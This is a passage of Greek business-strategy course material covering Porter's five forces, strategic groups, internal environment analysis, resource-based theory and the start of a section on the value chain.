παράγοντες που επηρεάζουν όλες τις επιχειρήσεις στην οικονομία. Αντίθετα, το άμεσο ή ανταγωνιστικό ή μικρο-περιβάλλον της επιχείρησης αποτελείται από διάφορες δυνάμεις, οι οποίες βρίσκονται σε συνεχή αλληλεπίδραση με την επιχείρηση, και μπορούν να επηρεάσουν τον συγκεκριμένο κλάδο στον οποίο δραστηριοποιείται η επιχείρηση καθώς και την οικονομία γενικότερα. Επομένως το άμεσο περιβάλλον είναι εκείνο που έρχεται σε άμεση επαφή με την επιχείρηση, επειδή η επιχείρηση ζει και αναπτύσσεται μέσα σ’ αυτό. Οι ομάδες που αλληλεπιδρούν και αποτελούν το άμεσο ή ανταγωνιστικό περιβάλλον της επιχείρησης είναι α) οι μέτοχοι (shareholders), β) οι κυβερνήσεις, γ) οι προμηθευτές, δ) οι τοπικές κοινωνίες, ε) οι ανταγωνιστές, στ) οι πελάτες, ζ) οι πιστωτές, η) οι εργατικές ενώσεις και ι) διάφοροι σύλλογοι, όπως ο εμπορικός σύλλογος κ.ά Το άμεσο ή μικρό περιβάλλον της επιχείρησης Για να μπορέσει η επιχείρηση να επιτύχει τους στόχους της, πρέπει να κατανοήσει απόλυτα το άμεσο περιβάλλον της και να αντιληφθεί τις ανάγκες και τις επιθυμίες όλων αυτών των ομάδων του ανταγωνιστικού περιβάλλοντος. Κάθε ομάδα χρησιμοποιεί τα δικά της κριτήρια

για να καθορίσει σε ποιο βαθμό η επιχείρηση ικανοποιεί τις επιθυμίες και τις ανάγκες της. Όταν μία ομάδα δεν ικανοποιείται ιδιαίτερα από την επιχείρηση, θα ασκήσει πίεση ώστε να ικανοποιηθούν όλα της τα αιτήματα. Επομένως είναι πολύ σημαντικό για την επιχείρηση και την επίδοση της να γνωρίζει όχι μόνο τις διαφορετικές αυτές ομάδες του άμεσου περιβάλλοντος της αλλά και τις ανάγκες και τις επιθυμίες της κάθε ομάδας ξεχωριστά. Ολοκληρωμένη ανάλυση του περιβάλλοντος Μία ολοκληρωμένη ανάλυση του άμεσου ή ανταγωνιστικού ή μικρο-περιβάλλοντος της επιχείρησης είναι απαραίτητη για τον προσδιορισμό και την διαμόρφωση της κατάλληλης στρατηγικής. Ο καθηγητής του Harvard M.Porter, στο βιβλίο του Competitive Strategy, έκανε μία σημαντική έρευνα σε θέματα στρατηγικής ανταγωνισμού και πρότεινε μία από της πιο σημαντικές αναλύσεις όσον αφορά το ανταγωνιστικό περιβάλλον της επιχείρησης. Αυτή η ανάλυση επιτυγχάνεται με την βοήθεια του υποδείγματος των πέντε δυνάμεων του Porter. Ανάλυση των πέντε δυνάμεων του Porter Σύμφωνα με τον M. Porter οι πέντε κύριες δυνάμεις που επηρεάζουν την ανταγωνιστική θέση μίας επιχείρησης είναι: 1) η απειλή από τους νέο-εισερχόμενους στον κλάδο, 2) η διαπραγματευτική δύναμη των προμηθευτών, 3) η διαπραγματευτική δύναμη των αγοραστών, 4) η απειλή από τα υποκατάστατα προϊόντα και 5) η ένταση του ανταγωνισμού ανάμεσα στις ήδη υπάρχουσες επιχειρήσεις του κλάδου.

Οι παράγοντες των δυνάμεων Διάφοροι άλλοι συγγραφείς μετά τον Porter, συνεχίζοντας τη δική του έρευνα υποστήριξαν ότι δεν μπορούμε να αποτυπώσουμε τον κλάδο μόνο με τις πέντε δυνάμεις που πρότεινε ο Porter και έτσι πρόσθεσαν ακόμη μία δύναμη αυτή των υπόλοιπων ενδιαφερομένων (other stakeholders). Στην ομάδα αυτή συμπεριλαμβάνονται όλοι οι υπόλοιποι παράγοντες που δεν λάμβανε υπόψη του το υπόδειγμα του Porter. Το υπόδειγμα των πέντε δυνάμεων του Porter προσθέτοντας και την έκτη δύναμη των υπόλοιπων ενδιαφερομένων εμφανίζεται στο ακόλουθο διάγραμμα. Απειλή εισόδου νέων επιχειρήσεων Η είσοδος νέων επιχειρήσεων σε κάποιο κλάδο έχει ως αποτέλεσμα την αύξηση του

ανταγωνισμού μεταξύ των υπαρχουσών και των νέων επιχειρήσεων, επειδή εισάγουν σ’ αυτόν νέα δυναμικότητα, επιθυμία απόκτησης μεριδίου αγοράς και σημαντικούς πόρους. Είναι φυσικό κάθε επιχείρηση του κλάδου να επιδιώκει να θέσει φραγμούςεμπόδια εισόδου σε δυνητικούς ανταγωνιστές. Τα πιο σημαντικά εμπόδια εισόδου είναι: -Οικονομίες κλίμακας: όσο μεγαλύτερη ποσότητα προϊόντος παράγεται, τόσο μικρότερα είναι τα ανά μονάδα κόστη παραγωγής. -Μειονέκτημα κόστους ανεξάρτητα από το μέγεθος: οι νέο-εισερχόμενες επιχειρήσεις έχουν κάποια μειονεκτήματα σε σχέση με τις επιχειρήσεις που ήδη δραστηριοποιούνται στον κλάδο όσον αφορά την παραγωγή του προϊόντος(know-how), την πρόσβαση σε διάφορες πρώτες ύλες, την γνώση του κλάδου κ.ά. -Διαφοροποίηση προϊόντος: η εμπιστοσύνη των καταναλωτών στα ήδη υπάρχοντα προϊόντα αποτελεί ακόμη ένα εμπόδιο. Όσο περισσότερο διαφοροποιημένα/μοναδικά είναι τα προϊόντα τόσο πιο δύσκολα είναι για τις νέες επιχειρήσεις να πλησιάσουν τους πελάτες, έτσι δημιουργείται κόστος μετακίνησης στους αγοραστές. -Πρόσβαση στα κανάλια διανομής: τα κανάλια διανομής στις περισσότερες περιπτώσεις εμφανίζονται διστακτικά στην εισαγωγή νέων προϊόντων στην αγορά και προτιμούν τα ήδη υπάρχοντα και δοκιμασμένα προϊόντα. -Κυβερνητική πολιτική: οι κυβερνήσεις έχουν την δύναμη μέσω διαφόρων αδειών, κανονισμών και νόμων να περιορίσουν ή ακόμη και να εμποδίσουν την είσοδο νέων επιχειρήσεων σε διάφορους κλάδους(π.χ. τα μονοπώλια και οι απελευθερώσεις των αγορών) -Απαιτήσεις σε κεφάλαια εισόδου: η κάθε νέο-εισερχόμενη επιχείρηση απαιτείται να επενδύσει υψηλά κεφάλαια για να καταφέρει να ανταγωνιστεί τις υπάρχουσες επιχειρήσεις τους κλάδου. Οι προμηθευτές των επιχειρήσεων Οι προμηθευτές, που αποτελούν τους κύριους συνεργάτες των επιχειρήσεων, μπορούν να επηρεάσουν σημαντικά την αγορά είτε μέσω της αύξησης των τιμών των αγαθών και των υπηρεσιών, αυξάνοντας έτσι το κόστος παραγωγής του προϊόντος, είτε μέσω της μείωσης της ποιότητας των αγαθών και των υπηρεσιών που προσφέρουν. Η διαπραγματευτική δύναμη των προμηθευτών εξαρτάται από τους ακόλουθους παράγοντες:

-Αριθμός προμηθευτών: όταν ο αριθμός των προμηθευτών είναι μικρός μειώνεται η δυνατότητα των ανταγωνιζόμενων επιχειρήσεων να διαπραγματευτούν για καλύτερες τιμές, ποιότητα και συμφωνίες παράδοσης των πρώτων υλών. -Διαφοροποιημένο προϊόν προμηθευτών: ο προμηθευτής λόγω του διαφοροποιημένου προϊόντος που διαθέτει δημιουργεί κόστος μετακίνησης στον αγοραστή. -Σημαντικότητα πελατών: η σημαντικότητα του αγοραστή είναι ανάλογη με την διαπραγματευτική του δύναμη. Όσο πιο μεγάλος και σημαντικός είναι ένας πελάτης για τον προμηθευτή, τόσο μεγαλύτερη πίεση μπορεί να του ασκήσει. -Δυνατότητα ολοκλήρωσης προς τα εμπρός: όταν οι προμηθευτές έχουν την δυνατότητα να προχωρήσουν σε μία προς τα εμπρός ολοκλήρωση, θα αποτελούν ανταγωνιστές των πελατών τους και έτσι η διαπραγματευτική δύναμη τους αυξάνεται. Διαπραγματευτική δύναμη αγοραστών Οι αγοραστές, όπως και οι προμηθευτές, μπορούν να επηρεάσουν σημαντικά την αγορά πιέζοντας τις τιμές των ανταγωνιζόμενων επιχειρήσεων, επιζητώντας υψηλότερη ποιότητα και απαιτώντας καλύτερη εξυπηρέτηση. Αναλυτικότερα η διαπραγματευτική δύναμη των αγοραστών εξαρτάται από τους ακόλουθους παράγοντες: -Συγκέντρωση αγοραστών: υπάρχει συγκέντρωση των αγοραστών ή οι αγοραστές πραγματοποιούν μεγάλους όγκους αγορών. -Διαφοροποίηση προϊόντος: εάν το προϊόν είναι διαφοροποιημένο και όχι στάνταρ, η διαπραγματευτική δύναμη των αγοραστών μειώνεται. -Δυνατότητα ολοκλήρωσης προς τα πίσω: ο αγοραστής είναι σε θέση να εκτελέσει δραστηριότητες του κλάδου δηλαδή να παράγει πρώτες ύλες ή προϊόντα και άλλα υλικά. -Πληροφόρηση: οι αγοραστές έχουν πλήρη πληροφόρηση για οτιδήποτε συμβαίνει στον κλάδο, επομένως έχουν την δυνατότητα να ασκήσουν μεγαλύτερη πίεση. -Οι αγοραστές έχουν μικρά κέρδη: οι αγοραστές προσπαθούν να διατηρήσουν το κόστος των αγορών τους χαμηλό γιατί βρίσκονται σε συνεχή πίεση λόγω των χαμηλών κερδών που απολαμβάνουν. Απειλή από υποκατάστατα προϊόντα

Η ύπαρξη υποκατάστατων προϊόντων έχει άμεση επίδραση στη ζήτηση των προϊόντων μιας επιχείρησης και συνήθως οι επιχειρήσεις που παράγουν υποκατάστατα προϊόντα ανταγωνίζονται μεταξύ τους. Υποκατάστατα μπορούμε να θεωρήσουμε δύο ή περισσότερα προϊόντα, όταν το ένα μπορεί να αντικαταστήσει το άλλο σε μια συγκεκριμένη χρήση. Η ένταση της απειλής των υποκατάστατων προϊόντων εξαρτάται από τους παρακάτω παράγοντες: -Ολική υποκατάσταση ενός προϊόντος από ένα άλλο: η απειλή της υποκατάστασης είναι μεγάλη εάν η ποιότητα και η απόδοση των υποκατάστατων είναι ίδια ή καλύτερη από τα προϊόντα της επιχείρησης. -Διατήρηση κερδών σε χαμηλά επίπεδα: η ύπαρξη υποκατάστατων θέτει ανώτατη τιμή στα προϊόντα της επιχείρησης. Ένταση του ανταγωνισμού ανάμεσα στις ήδη υπάρχουσες επιχειρήσεις του Κλάδου Η ένταση του ανταγωνισμού ανάμεσα στις ήδη υπάρχουσες επιχειρήσεις που δραστηριοποιούνται σε κάποιο κλάδο, αποτελεί μία ακόμη δύναμη που προσδιορίζει την ελκυστικότητα του συγκεκριμένου κλάδου. Η ένταση του ανταγωνισμού είναι αποτέλεσμα των κινήσεων των επιχειρήσεων να βελτιώσουν την θέση τους στην αγορά (π.χ. να κερδίσουν μεγαλύτερα μερίδια αγοράς, να κυριαρχήσουν στα κανάλια διανομής κλπ). Αξιοσημείωτο αντίκτυπο Μία ανταγωνιστική κίνηση από μία επιχείρηση μπορεί να έχει αξιοσημείωτο αντίκτυπο στους ανταγωνιστές της και συνεπώς να μπορεί να προκαλέσει αντίποινα ή αντίθετες κινήσεις. Ο τρόπος και η ένταση με την οποία αντιδρούν οι ανταγωνιστικές επιχειρήσεις εξαρτάται από τις συνθήκες που επικρατούν στον κλάδο. Η ένταση του ανταγωνισμού σχετίζεται με την παρουσία των παρακάτω παραγόντων: -Αριθμός ανatγωνιστών: όσο αυξάνεται ο αριθμός των επιχειρήσεων σε ένα κλάδο, αυξάνεται και η ένταση του ανταγωνισμού. Όταν οι ανταγωνιστές είναι λίγοι και περίπου του ίδιου μεγέθους, όπως στον κλάδο των αυτοκινητοβιομηχανιών, παρακολουθούν ο ένας τον άλλο προσεκτικά για να βεβαιωθούν ότι κάθε κίνηση από μία άλλη επιχείρηση θα συνοδευτεί από μία ανάλογη αντίδραση. -Ρυθμός ανάπτυξης της αγοράς: σε μία αγορά που αναπτύσσεται γρήγορα ο αριθμός των καταναλωτών αυξάνεται και οι επιχειρήσεις επιδιώκουν να αυξήσουν τις πωλήσεις τους

προσελκύοντας το μεγαλύτερο δυνατό μέρος τους. ‘Όταν όμως η μανάπτυξη της αγοράς επιβραδύνεται, τότε ο ανταγωνισμός γίνεται εντονότερος, καθώς η αύξηση του μεριδίου αγοράς μιας επιχείρησης πραγματοποιείται εις βάρος των μεριδίων αγοράς των ανταγωνιστών. -Βαθμός διαφοροποίησης προϊόντος: όταν ο πραγματικός ή αντιληπτός βαθμός διαφοροποίησης των προϊόντων μιας επιχείρησης δεν είναι υψηλός, εύκολα οι πελάτες μπορούν να υποκαταστήσουν το προϊόν της επιχείρησης με προϊόντα ανταγωνιστικών επιχειρήσεων (δηλαδή το κόστος αλλαγής είναι χαμηλό). -Εμπόδια εξόδου: τα εμπόδια εξόδου εμποδίζουν μία εταιρεία να αποχωρίσει από ένα κλάδο, επειδή πολλές φορές κοστίζει στην επιχείρηση περισσότερο να βγει από κάποιο κλάδο παρά να μείνει σε αυτόν. Όταν υπάρχουν εμπόδια εξόδου, η επιχείρηση έχει σοβαρά κίνητρα να συνεχίσει να δραστηριοποιείται στον κλάδο ακόμη και αν τα κέρδη της είναι πολύ χαμηλά ή παρουσιάζει ζημία. Ανάλυση στρατηγικών ομάδων Ένας κλάδος ο οποίος αποτελείται από ένα μεγάλο αριθμό επιχειρηματικών μονάδων οι οποίες διαφέρουν σε όρους χαρακτηριστικών, πόρων, στόχων και στρατηγικών χαρακτηρίζεται από ετερογένεια. Για την καλύτερη ανάλυση του ανταγωνισμού του συγκεκριμένου κλάδου γίνεται ομαδοποίηση των επιχειρήσεων του κλάδου σε στρατηγικές ομάδες με βάση διάφορες παραμέτρους ή διαστάσεις που μπορεί να προσδιορίζουν την τοποθέτηση των επιχειρήσεων μέσα στον κλάδο, δηλαδή ομάδες επιχειρήσεων με κοινά χαρακτηριστικά. Αυτές οι παράμετροι μπορεί να είναι τα προϊόντα, τα κανάλια διανομής, το μερίδιο αγοράς της επιχείρησης, η τεχνολογία, οι υπηρεσίες μετά την πώληση και άλλες. Έννοια της στρατηγικής ομάδας Στρατηγική ομάδα είναι μία ομάδα επιχειρηματικών μονάδων ή επιχειρήσεων που “επιχειρούν να εφαρμόσουν παρόμοιες στρατηγικές με παρόμοιους πόρους”. Η ομοιογένεια των επιχειρήσεων κάθε στρατηγικής ομάδας διευκολύνει την ανάλυση του ανταγωνισμού σε κάθε ομάδα δίνοντας μια καλύτερη εικόνα για το ανταγωνιστικό περιβάλλον του κλάδου. Επιχειρήσεις σε διαφορετικές στρατηγικές ομάδες Επιχειρήσεις που ανήκουν σε διαφορετικές στρατηγικές ομάδες μέσα στον ίδιο κλάδο διαφέρουν πολύ, τόσο στη στρατηγική που ακολουθούν όσο και στην επίδοσή τους. Όσο αυξάνονται οι ομοιότητες μεταξύ των επιχειρήσεων που ανήκουν σε διαφορετικές στρατηγικές ομάδες τόσο μεγαλύτερη είναι η πιθανότητα να υπάρχει ανταγωνισμός μεταξύ τους. Η μετακίνηση από μια στρατηγική ομάδα

Η μετακίνηση των επιχειρήσεων από μία στρατηγική ομάδα σε κάποια άλλη είναι δυνατή αλλά δεν είναι και τόσο εύκολη. Οι παράγοντες που την αποτρέπουν είναι τα εμπόδια εισόδου μεταξύ των στρατηγικών ομάδων και δημιουργούνatι κυρίως λόγω των διαφορετικών στρατηγικών πόρων που διαθέτουν οι επιχειρήσεις της κάθε ομάδας και των διαφορετικών στρατηγικών που μπορούν να αναπτύξουν. Η χαρτογράφηση των στρατηγικών ομάδων Η χαρτογράφηση των στρατηγικών ομάδων ενός συγκεκριμένου κλάδου μπορεί να γίνει με την αποτύπωση της θέσης που κατέχουν στην αγορά οι ανταγωνιστές του κλάδου, σε ένα διάγραμμα δύο διαστάσεων χρησιμοποιώντας δύο στρατηγικές μεταβλητές, τη μία στον κατακόρυφο και την άλλη στον οριζόντιο άξονα. Στην επιλογή των στρατηγικών μεταβλητών είναι πολύ σημαντικό για την ορθότητα της ανάλυσης να χρησιμοποιούνται οι πιο σημαντικές μεταβλητές που διαχωρίζουν τις στρατηγικές των επιχειρήσεων κάθε στρατηγικής ομάδας.Στο διάγραμμα που ακολουθεί επιχειρείται

μία

ταξινόμηση

των

επιχειρήσεων

που

δραστηριοποιούνται

στην

αυτοκινητοβιομηχανία. Τα κριτήρια ταξινόμησης που υιοθετήθηκαν είναι η τιμή και το εύρος σειράς προϊόντων. Ειδικές Γνώσεις: Σχεδιασμός Εκτίμηση εσωτερικού περιβάλλοντος Εκτίμηση εσωτερικού περιβάλλοντος (γενικά) Οι επιχειρησιακοί αναλυτές συνήθιζαν να ορίζουν το ενεργητικό μιας επιχείρησης πολύ στενά, αναγνωρίζοντας μόνο αυτά τα στοιχεία που μπορούσαν να μετρηθούν όπως για παράδειγμα ένα εργοστάσιο ή ο εξοπλισμός. Όμως, τα άυλα στοιχεία του ενεργητικού, όπως μια συγκεκριμένη τεχνολογία, η συλλεγείσα πληροφόρηση για τον καταναλωτή, η επωνυμία προϊόντος, η φήμη, η εταιρική κουλτούρα, είναι ανεκτίμητης αξίας για την ανταγωνιστική ικανότητα της επιχείρησης. Στην πραγματικότητα, αυτά τα μη ορατά στοιχεία είναι συχνά η μόνη διατηρητέα πηγή ανταγωνιστικού πλεονεκτήματος. Ανίχνευση και ανάλυση του εξωτερικού περιβάλλοντος Η ανίχνευση και η ανάλυση του εξωτερικού περιβάλλοντος για ευκαιρίες και απειλές δεν αρκούν για να προσδώσουν ανταγωνιστικό πλεονέκτημα σε μία επιχείρηση. Με την ανάλυση του εσωτερικού περιβάλλοντος η προσοχή στρέφεται στα εσωτερικά στοιχεία της επιχείρησης και πιο συγκεκριμένα στην αναγνώριση των δυνάμεων και των αδυναμιών που θα βοηθήσουν την επιχείρηση να εκμεταλλευτεί τις ευκαιρίες και να αποφύγει τις απειλές. Μια μεταβλητή ώς δύναμη

Μια μεταβλητή χαρακτηρίζεται ως δύναμη όταν μπορεί να αποτελέσει πηγή ανταγωνιστικού πλεονεκτήματος για την επιχείρηση ενώ αδυναμία είναι μία κατάσταση που θέτει την επιχείρηση σε ανταγωνιστικό μειονέκτημα. Η αναζήτηση των δυνάμεων και των αδυναμιών της επιχείρησης επικεντρώνεται σε τρία βασικά στοιχεία του εσωτερικού περιβάλλοντος της: τη δομή, την κουλτούρα, και τους πόρους και τις ικανότητες της επιχείρησης. Δομή Δομή είναι ο τρόπος που μια επιχείρηση είναι οργανωμένη ως προς τη ροή επικοινωνίας, τη ροή εξουσίας και τη ροή εργασίας. Είναι η τυπική διάταξη των ρόλων και των σχέσεων των ανθρώπων, ώστε η εργασία να κατευθύνεται προς την ικανοποίηση των σκοπών και την εκπλήρωση της αποστολής της επιχείρησης. Γραφική παρουσίαση της δομής της επιχείρησης είναι το οργανόγραμμά της. Οι κυριότερες οργανωτικές δομές είναι η απλή, η λειτουργική και η δομή κατά τμήματα. Απλή δομή Η απλή δομή, είναι κατάλληλη για μικρή επιχείρηση, η οποία κυριαρχείται από τον ιδιοκτήτη της, και το χαρακτηριστικό της είναι ότι δεν υπάρχουν λειτουργικές κατηγορίες ή κατηγορίες προϊόντων. Ο ιδιοκτήτης λαμβάνει όλες τις κύριες αποφάσεις και παρακολουθεί όλες τις δραστηριότητες. Η δομή αυτή είναι δύσκολο να διατηρηθεί καθώς η επιχείρηση μεγαλώνει σε μέγεθος και πολυπλοκότητα. Λειτουργική δομή Η λειτουργική δομή, είναι κατάλληλη για μεσαίου μεγέθους επιχειρήσεις με ορισμένες γραμμές προϊόντος σε ένα κλάδο. Η δομή αυτή υπερνικά τις αδυναμίεςγια επεξεργασία πληροφοριών του ιδιοκτήτη. Οι επικεφαλείς των διαφόρων τμημάτων αναφέρονται απευθείας στον Γενικό Διευθυντή. Οι επιμέρους επιχειρηματικές λειτουργίες των επιχειρήσεων αυτών είναι: η παραγωγή, το μάρκετινγκ, η χρηματοοικονομική λειτουργία και οι ανθρώπινοι πόροι. Δομή κατά τμήματα Η δομή κατά τμήματα, είναι κατάλληλη για αρκετά μεγάλου μεγέθους επιχειρήσεις με μεγάλο αριθμό γραμμών προϊόντος σε ορισμένους σχετικούς μεταξύ τους κλάδους. Η κατανόηση της δομής Η κατανόηση της δομής μιας επιχείρησης είναι πολύ σημαντική γιατί βοηθά στην διαμόρφωση αποτελεσματικής επιχειρησιακής στρατηγικής. Έτσι, εάν η δομή είναι συμβατή με μία μελλοντική αλλαγή στη στρατηγική της επιχείρησης, υπάρχουν πολλές πιθανότητες η διαμορφούμενη στρατηγική να υλοποιηθεί. Σε περίπτωση όμως που η

δομή δεν είναι συμβατή με αυτή τη στρατηγική είναι σχεδόν βέβαιο ότι αυτή δεν θα υλοποιηθεί. Η κουλτούρα Κουλτούρα είναι το σύνολο των πιστεύω, των προσδοκιών και των αξιών που είναι κοινά στα μέλη μιας επιχείρησης και την καθιστούν μοναδική. Η κουλτούρα δημιουργεί κανόνες συμπεριφοράς και προσδιορίζει την αποδεκτή συμπεριφορά του προσωπικού σε όλα τα επίπεδα της διοικητικής ιεραρχίας. Γενικά, αντικατοπτρίζει τις αξίες και τα οράματα του ιδρυτή που συνεχίζουν να καθοδηγούν και να επηρεάζουν την εκάστοτε διοίκηση, καθώς και την αποστολή της επιχείρησης. Δίνει στα μέλη της επιχείρησης ένα αίσθημα ταυτότητας: «Αυτό είμαστε. Αυτό κάνουμε. Αυτός είναι ο λόγος ύπαρξης μας.» Επομένως, η κουλτούρα περιλαμβάνει τον κύριο προσανατολισμό της επιχείρησης Ιδιότητες της κουλτούρας Η κουλτούρα έχει δύο ιδιότητες, την ένταση και την ολοκλήρωση. Ένταση είναι ο βαθμός που η κουλτούρα είναι αποδεκτή από όλους μέσα στην επιχείρηση. Ολοκλήρωση είναι ο βαθμός της έκτασης που είναι αποδεκτή σε όλα τα επίπεδα της επιχείρησης. Διαστάσεις της κουλτούρας Ερευνητές υποστηρίζουν ότι υπάρχουν επτά διαστάσεις που συλλογικά διαμορφώνουν την κουλτούρα της επιχείρησης, οι οποίες είναι: 1. Καινοτομία και ανάληψη κινδύνου 2. Προσοχή στη λεπτομέρεια 3. Προσανατολισμός στο αποτέλεσμα 4. Προσανατολισμός στον άνθρωπο 5. Προσανατολισμός στην ομαδική εργασία 6. Επιθετικότητα 7. Σταθερότητα. Η διαμόρφωση της κουλτούρας Η διαμόρφωση της κουλτούρας σε μια επιχείρηση απαιτεί μεγάλο χρονικό διάστημα και επηρεάζει σημαντικά τη στρατηγική της επιχείρησης καθώς και την εφαρμογή ενός νέου στρατηγικού σχεδιασμού. Όταν η κουλτούρα δεν είναι συμβατή με τον στρατηγικό σχεδιασμό της επιχείρησης, είναι πολύ δύσκολο να αλλάξει, με συνέπεια να υπάρχει μεγάλη πιθανότητα οποιαδήποτε στρατηγική να οδηγηθεί σε αποτυχία.

Πόροι μιας επιχείρησης Πόροι μιας επιχείρησης είναι τα στοιχεία, οι διαδικασίες, οι γνώσεις και οι ικανότητες που αυτή διαθέτει για να χρησιμοποιηθούν στην επίτευξη των στόχων της. Οι βασικές κατηγορίες στις οποίες μπορούν να ταξινομηθούν οι διάφοροι πόροι μιας επιχείρησης είναι: πατήστε ένα tab -Χρηματοοικονομικοί οι οποίοι αποτελούνται από τα κεφάλαια, την χρηματοδότηση κ.λπ. -Φυσικοί στους οποίους περιλαμβάνονται οι πρώτες ύλες, ο μηχανολογικός εξοπλισμός, τα κτίρια, η παραγωγική δυναμικότητα κ.λπ. -Τεχνολογικοί που αναφέρονται στην τεχνολογία που εφαρμόζει η κάθε επιχείρηση. -Ανθρώπινοι όπως οι γνώσεις, οι ικανότητες, η εμπειρία και η προσαρμοστικότητα του ανθρώπινου δυναμικού. Καθορισμός της στρατηγικής Εκτιμώντας όλους αυτούς τους σημαντικούς παράγοντες που συνθέτουν το εσωτερικό περιβάλλον της, η επιχείρηση είναι σε θέση να αναγνωρίσει τις δυνάμεις και τις αδυναμίες τις και συνδυάζοντας τες με τις παρουσιαζόμενες ευκαιρίες και απειλές του εξωτερικού περιβάλλοντος θα καθορίσει την επιχειρησιακή στρατηγική. Με την εξάλειψη των αδυναμιών και την ενίσχυση των δυνάμεων καθώς και με την αποφυγή των απειλών και την εκμετάλλευση των ευκαιριών η επιχείρηση προσπαθεί να αποκτήσει ανταγωνιστικό πλεονέκτημα έναντι των ανταγωνιστών της Η ΘΕΩΡΙΑ ΤΩΝ ΠΟΡΩΝ ΚΑΙ ΤΩΝ ΙΚΑΝΟΤΗΤΩΝ Η θεωρία των πόρων και των ικανοτήτων, η οποία έχει αναπτυχθεί κυρίως την τελευταία δεκαετία, είναι μάλλον μια εσωστρεφής θεώρηση η οποία δεν παραγνωρίζει τη σημασία του εξωτερικού περιβάλλοντος της επιχείρησης, βασίζεται όμως περισσότερο στο εσωτερικό της περιβάλλον. Υποστηρίζει ότι κάθε επιχείρηση διαφέρει από τους ανταγωνιστές της ως προς τους πόρους και τις ικανότητες που διαθέτει, ως προς τον τρόπο με τον οποίο τους εκμεταλλεύεται και στον τρόπο που συμβάλουν αυτοί στην απόκτηση ανταγωνιστικού πλεονεκτήματος. Ειδικότερα, εκείνοι οι πόροι και οι ικανότητες που είναι δύσκολο να αποκτηθούν ή να αναπαραχθούν από τους ανταγωνιστές είναι πιθανό να οδηγήσουν σε ανταγωνιστικό πλεονέκτημα Υποστηρικτές της θεώρησης των πόρων Οι υποστηρικτές της θεώρησης των πόρων και των ικανοτήτων ισχυρίζονται ότι σε μία περίοδο όπου το εξωτερικό περιβάλλον εξελίσσεται και αλλάζει με πολύ γρήγορους

ρυθμούς, τα ιδιαίτερα χαρακτηριστικά που συνθέτουν κάθε επιχείρηση, όπως οι πόροι και οι ικανότητες της, αποτελούν μια περισσότερο σταθερή βάση για τη διαμόρφωση και την υλοποίηση της στρατηγικής της.

Επιχειρήσεις ως σύνολο από πόρους και ικανότητες Σύμφωνα με τη θεωρία αυτή, οι επιχειρήσεις μπορούν να θεωρηθούν, σαν ένα σύνολο από πόρους και ικανότητες, οι οποίες δεν κατανέμονται κατά τον ίδιο τρόπο ανάμεσά τους. Στην πραγματικότητα, είναι μια συλλογή από κάποιους πόρους, που συγκεντρώνουν μια σειρά από χαρακτηριστικά (πολύτιμοι, σπάνιοι, μη αντιγράψιμοι και αναντικατάστατοι) και οι ικανότητες εκείνες που διαθέτει μια επιχείρηση, ώστε να μπορέσει να χρησιμοποιήσει και να αξιοποιήσει τους διαθέσιμους πόρους. Οι ικανότητες μιας επιχείρησης Στην προσπάθεια της κάθε επιχείρηση να αποκτήσει ανταγωνιστικό πλεονέκτημα θα πρέπει να συνδυάσει αποτελεσματικά όλους τους πολύτιμους πόρους της ώστε να δημιουργήσει ικανότητες. Επομένως, οι ικανότητες μιας επιχείρησης προκύπτουν από το σωστό συνδυασμό και την ολοκλήρωση μιας ομάδας πόρων. Οι κατηγορίες των ικανοτήτων Οι ικανότητες διακρίνονται σε δύο κατηγορίες: -Βασικές ή οριακές ικανότητες: είναι ικανότητες τις οποίες είτε διαθέτουν είτε μπορούν να αντιγράψουν εύκολα οι ανταγωνιστές της επιχείρησης. -Θεμελιώδεις ή μοναδικές ικανότητες: είναι ικανότητες που δεν διαθέτουν οι ανταγωνιστές και δεν μπορούν εύκολα να αντιγραφούν. Οι ικανότητες αυτές μπορούν να δώσουν στην επιχείρηση διατηρήσιμο ανταγωνιστικό πλεονέκτημα. Η θεωρία των πόρων και των ικανοτήτων Η θεωρία των πόρων και των ικανοτήτων δημιουργήθηκε μέσα από την ανάγκη των επιχειρήσεων να προσαρμοστούν στο πολυτάραχο επιχειρηματικό περιβάλλον. Ο στρατηγικός σχεδιασμός των επιχειρήσεων μπορεί να χαρακτηρισθεί ως ένας συνεχής αγώνας δημιουργίας και αξιοποίησης θεμελιωδών ή μοναδικών ικανοτήτων πριν από τους ανταγωνιστές. Η θεώρηση αυτή εξηγείται από το ότι μια θεμελιώδη ικανότητα είναι σήμερα δύσκολο να έχει μεγάλη διάρκεια ζωής. Διάρκει ζωής της ικανότητας Η διάρκεια ζωής της θεμελιώδης ικανότητας εξαρτάται από το είδος της, το βαθμό που απαξιώνεται από τις τεχνολογικές ή άλλες περιβαλλοντικές εξελίξεις και από την ευκολία αντιγραφής της από τους ανταγωνιστές.

Συμπέρασμα Επομένως, κάθε επιχείρηση θα πρέπει να έχει σαν στόχο τον αποτελεσματικό συνδυασμό και χρησιμοποίηση των κατάλληλων πόρων που θα της προσφέρουν μοναδικές ικανότητες για τη μελλοντική πορεία της επιχείρησης και την επίτευξη ανάπτυξης νέων ικανοτήτων ταχύτερα από τους ανταγωνιστές της, που θα τις προσφέρουν και μελλοντικά την πιθανότητα ανάπτυξης και διατήρησης ανταγωνιστικού πλεονεκτήματος.

Εκπαιδευτική Υποενότητα 16.2 Η αλυσίδα αξίας της επιχείρησης Εισαγωγή Η ανάλυση της αλυσίδας αξίας, που αναπτύχθηκε από τον καθηγητή του Harvard Business School, Michael Porter, αποτελεί ένα χρήσιμο εργαλείο για την συστηματική αναγνώριση των δυνάμεων και των αδυναμιών της επιχείρησης. Υποθέτει ότι ο βασικός οικονομικός σκοπός μιας επιχείρησης είναι να δημιουργήσει αξία, η οποία μετράται με τα συνολικά κέρδη της επιχείρησης. Στην προσπάθεια τους τα διευθυντικά στελέχη μιας επιχείρησης να εκμεταλλευτούν τις ευκαιρίες και να ελαχιστοποιήσουν τις απειλές στο εξωτερικό περιβάλλον, πρέπει να αναλύσουν προσεκτικά την αλυσίδα αξίας της επιχείρησης. Η αλυσίδα αξίας αναλύει την επιχείρηση Η αλυσίδα αξίας αναλύει την επιχείρηση στις στρατηγικά κύριες δραστηριότητές της, ώστε να εξετάζει την πορεία του κόστους που αντιμετωπίζει η επιχείρηση, καθώς και τις υπάρχουσες ή δυνατές πηγές διαφοροποίησής της. Σύμφωνα με την προσέγγιση αυτή, δηλαδή, η επιχείρηση εξετάζεται από την άποψη των δραστηριοτήτων που εκτελεί για να παρέχει στους πελάτες της το προϊόν ή την υπηρεσία της. Ο Porter θεωρεί ότι μία επιχείρηση δημιουργεί ανταγωνιστικό πλεονέκτημα επιτυγχάνοντας να εκτελέσει αυτές τις δραστηριότητες αποτελεσματικότερα από τους ανταγωνιστές της. 